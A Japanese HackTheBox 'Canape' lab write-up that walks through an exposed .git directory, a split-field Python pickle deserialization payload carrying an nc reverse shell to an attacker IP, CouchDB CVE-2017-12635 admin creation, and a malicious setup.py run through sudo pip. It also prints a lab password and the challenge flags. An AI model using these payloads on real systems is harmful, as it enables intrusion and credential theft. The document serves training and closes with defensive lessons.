HackTheBox: Canape — 全実行コマンド・実行結果レポート
Nmap スキャン
80(http)のみ
→
80(http)のみ
.git/HEAD 露出発見
ソースコード復元
→
ソースコード復元
cPickle デシリアライズRCE
character/quote分割ペイロード
→
character/quote分割ペイロード
www-data リバースシェル
→
CouchDB CVE-2017-12635
roles重複キーでadmin昇格
→
roles重複キーでadmin昇格
passwords DB全件ダンプ
homerのSSHパスワード
→
homerのSSHパスワード
user.txt ✓
→
sudo pip install .
悪意setup.pyでroot
→
悪意setup.pyでroot
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -sV -sC -p 80 10.129.229.137
RESULT (実データ)
PORT STATE SERVICE VERSION
80/tcp open http Apache/2.4.29 (Ubuntu)
ℹ️
全ポートスキャンでも80/tcpのみが外部に公開されている。SSHは65535/tcpという
非標準ポートで稼働しており(後のフェーズで判明)、標準的なポートスキャン範囲だけでは
見落としやすい点に注意。
Webアプリの確認
BASH
curl -s http://10.129.229.137/
RESULT (実データ、抜粋)
<title>Simpsons Fan Site</title> <p>CouchDB-powered quotes database. That means your quotes are coming at you faster than ever!</p> <a href="/quotes">View Quotes</a> <a href="/submit">Submit Quote</a>
ℹ️
「シンプソンズファンサイト」を模したFlaskアプリ。バックエンドにCouchDBを
使っている旨がトップページに明記されており、後のフェーズで重要な手掛かりとなる。
PHASE 2
.git 漏洩からのソース復元 & cPickle RCE発見
.git ディレクトリの公開を確認
BASH
curl -s --max-time 10 http://10.129.229.137/.git/HEAD
RESULT (実データ)
ref: refs/heads/master
🚨
.gitディレクトリがWeb経由で丸ごと閲覧可能。git-dumper等の
ツールで.gitオブジェクトを全て回収すれば、アプリケーションの
完全なソースコード(コミット履歴含む)を復元できる。
BASH
git-dumper http://10.129.229.137/.git output/ cd output/ && git log --all --oneline
ソースコード解析: /check エンドポイントのcPickleデシリアライズ
NOTE
復元したFlaskソースを読むと、/submit で受け取った character/quote を 組み合わせてサーバー側でシリアライズし、Cookie(id)としてクライアントへ 返す。/check エンドポイントはそのCookie値をBase64デコードした上で Python 2のcPickleモジュールでデシリアライズしている。 pickleはデシリアライズ時に任意のオブジェクトの__reduce__メソッド呼び出しを 許してしまう既知の危険な仕様であり、`os.system(...)`を呼び出すオブジェクトを pickle化してCookieに仕込めば、デシリアライズと同時に任意コマンドが実行される (Insecure Deserialization → RCE)。
ℹ️
HTMLコメント内に
c8a74a098a60aaea1af98945bd707a7eab0ff4b0 - temporarily hide check
という記述があり、/checkエンドポイント自体はナビゲーションから
隠されているだけで、URLを直接叩けば依然としてアクセス可能なことが分かる。
character/quote分割によるpickleペイロード注入
NOTE
アプリはcharacterフィールドに人物名らしき文字列(例: "Homer")のみを 許可するバリデーションを行っているため、pickleペイロードをそのまま characterへ詰め込むことはできない。一方でサーバー側の実装は 「character + quote」を単純に文字列連結してからpickle化するため、 protocol 0(テキストベース、改行区切り)のpickleオペコード列を character側とquote側の2つのフィールドにまたがって分割して送り込む ことで、連結後に正しいpickleバイト列が再構成されるようにできる。
BASH (実際に使用したリクエスト)
curl -s --max-time 15 \ --data-urlencode 'character=cposix system p0 (Vhomer' \ --data-urlencode 'quote=;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.200 4444 >/tmp/f p1 tp2 Rp3 .' \ http://10.129.229.137/submit
ℹ️
characterフィールドはcposix\nsystem\np0\n(Vhomerで終わっており、
末尾が”homer”という人名っぽい文字列になっているためバリデーションを通過する。
quoteフィールド側で残りのpickleオペコード(mkfifoベースのリバースシェル
ワンライナーをos.system相当で実行させる文字列引数の続き+pickle終端)を
続けることで、2つのフィールドを結合した全体が正しいcposix system\n...
(=os.system(...)相当)のpickle protocol 0バイト列になる。
BASH (リスナー準備 & トリガー)
# 別ターミナルでリスナー待機 nc -lnvp 4444 # /check エンドポイントへアクセスしCookieをデシリアライズさせトリガー curl -s --max-time 15 --data-urlencode id=<登録時に返されたCookie値> \ http://10.129.229.137/check
RESULT (実データ)
[+] リバースシェル受信 from ('10.129.229.137', 57890)
/bin/sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE成功! Flaskアプリの実行ユーザー(
www-data)権限で
リバースシェルを確立した。
PHASE 3
CouchDB CVE-2017-12635 → passwords DB全件ダンプ → user.txt
ローカル限定のCouchDBを発見
BASH (リバースシェル内)
$ ps aux | grep couch $ curl -s 127.0.0.1:5984/
🚨
127.0.0.1:5984限定でApache CouchDB(2.1.0未満)が稼働している。
このバージョンはCVE-2017-12635(ユーザードキュメントの
roles権限昇格脆弱性)に該当する。
CVE-2017-12635: roles重複キーでadmin作成
NOTE
CouchDBのErlang側バリデーションロジックは、JSONボディ中の"roles"キーが 複数存在する場合、そのうち1つ目の値(この例では ["_admin"])を見て「admin権限を付与しようとしている」ことを検知し拒否 しようとする。ところが実際にドキュメントとして保存される段階では、 CouchDBが内部で使うMochiweb JSONパーサの挙動により、1つ目の "roles":["_admin"] がそのまま採用されてしまう(バリデーションと実際の 保存処理とで参照するキーの位置がズレているバグ)。この不整合を突けば、 admin権限チェックをすり抜けて任意ユーザーをadmin化できる。
BASH (リバースシェル内, 実際に使用したコマンド)
$ curl -s -X PUT http://127.0.0.1:5984/_users/org.couchdb.user:pwn \
--data-binary '{"type": "user","name": "pwn","roles": ["_admin"],"roles": [],"password": "pwn123"}'
✅
ユーザー
pwnが実質的にadmin権限を持つアカウントとして作成される。
passwords DBを全件ダンプしhomerのパスワードを発見
BASH (リバースシェル内)
$ curl -s 127.0.0.1:5984/passwords/_all_docs --user pwn:pwn123 $ curl -s 127.0.0.1:5984/passwords/<doc_id> --user pwn:pwn123
RESULT
passwords DB ドキュメント 4 件発見
ℹ️
admin権限が手に入ったことで、それまで隠されていた
passwordsという
データベースが見えるようになる。4件のドキュメントの中に、SSHログインユーザー
homerの平文パスワードが含まれていた。
SSHログイン → user.txt
BASH (実際に使用したコマンド)
sshpass -p '0B4jyA0xtytZi7esBNGp' ssh -p 65535 homer@10.129.229.137 cat /home/homer/user.txt
RESULT (実データ)
9b80c0b154e22c4371feea2b5d6737bc
ℹ️
SSHは標準の22番ではなく65535番ポートで待ち受けている点に注意。
user.txt — homer
9b80c0b154e22c4371feea2b5d6737bc
PHASE 4
sudo pip install の悪用 → root.txt
sudo権限の確認
BASH (実際に使用したコマンド)
echo '0B4jyA0xtytZi7esBNGp' | sudo -S -l
RESULT (実データ)
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
🚨
落とし穴: このsudoエントリは
NOPASSWD ではない。
homer自身のパスワードでの認証が毎回必要になる。TTYが割り当てられていない
非対話SSHセッション(ssh user@host "sudo -l"のように単発コマンドとして
実行した場合)で素のsudoを呼ぶと、
sudo: no tty present and no askpass program specifiedで即座に失敗する。
対策: echo '<password>' | sudo -S <cmd>のように
-Sオプションでパスワードを標準入力から読ませれば、TTYが無くても
問題なく認証できる。
悪意setup.pyでroot権限のコマンド実行
NOTE
pip installはsetup.pyを実行してパッケージをビルド・インストールする 仕組みを持つ。sudoで`pip install .`(カレントディレクトリのパッケージを 指定)を実行できる場合、そのディレクトリのsetup.py自体がroot権限で 実行されることになる。setup.py内に任意のPythonコードを仕込めば root権限のコード実行に直結する。
PYTHON (setup.py の内容)
import os
os.system("cp /root/root.txt /home/homer/root.txt; chmod 644 /home/homer/root.txt")
BASH (実際に使用したコマンド一式)
mkdir -p /home/homer/.canape_pip_pwn && cd /home/homer/.canape_pip_pwn && \
printf 'import os\nos.system("cp /root/root.txt /home/homer/root.txt; chmod 644 /home/homer/root.txt")\n' > setup.py && \
echo '0B4jyA0xtytZi7esBNGp' | sudo -S /usr/bin/pip install . ; \
/bin/cat /home/homer/root.txt
RESULT (実データ)
81fe6d51e244aa4b65e650542d12d14d
✅
root権限奪取成功!
pip install .実行時にsetup.pyの
os.system()呼び出しがroot権限で走り、/root/root.txtを
homerが読める場所へコピーさせることができた。
root.txt — root
81fe6d51e244aa4b65e650542d12d14d
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — homer
9b80c0b154e22c4371feea2b5d6737bc
root.txt — root
81fe6d51e244aa4b65e650542d12d14d
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| .git ディレクトリの公開 | Webルート直下の.git | ソースコード全体の漏洩 | High | git-dumperでオブジェクトを回収しFlaskアプリのロジックを完全に把握 |
| cPickle デシリアライズRCE | /check エンドポイント | リモートコード実行 (www-data) | Critical | character/quoteフィールドに分割したpickle protocol 0ペイロードでos.system()相当を注入 |
| CVE-2017-12635 | Apache CouchDB (<2.1.0) | 権限昇格 (一般ユーザー→admin) | Critical | JSONボディに”roles”キーを重複させバリデーションと保存処理の不整合を突きadmin作成 |
| sudo pip install の誤設定 | /usr/bin/pip (sudoers) | 権限昇格 (homer→root) | High | 悪意あるsetup.pyを含むディレクトリを`sudo pip install .`させroot権限でos.system()実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(80のみ) + Webアプリ確認 | Flask + CouchDB構成の把握 |
| 2 | 脆弱性発見 | .git漏洩からのソース復元 | /checkのcPickleデシリアライズ脆弱性発見 |
| 3 | RCE | character/quote分割pickleペイロード | www-data権限のリバースシェル |
| 4 | 横移動 | CVE-2017-12635 + passwords DBダンプ | homerのSSHパスワード、user.txt |
| 5 | 権限昇格 | sudo -S + 悪意setup.py | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 本番Webルートに.gitディレクトリがデプロイされ外部から閲覧可能 | デプロイ時に.gitディレクトリを除外する。Webサーバー設定で.gitへの直接アクセスを拒否する。 |
| ユーザー制御可能な入力をPython 2 pickleでデシリアライズしている | 信頼できない入力にはpickleを使わない。JSON等の安全なシリアライズ形式に置き換える。 |
| 古いバージョンのCouchDB(既知のCVEを含む)を使用 | ミドルウェアを含め全コンポーネントを定期的にパッチ適用する。CouchDBを外部公開しないローカル限定バインドにするだけでは不十分。 |
| sudoersで`pip install *`のような汎用的なワイルドカードを許可している | sudoで許可するコマンドはワイルドカードを避け、具体的な引数まで固定する。パッケージマネージャのようにコード実行を伴うツールをsudo許可対象にしない。 |

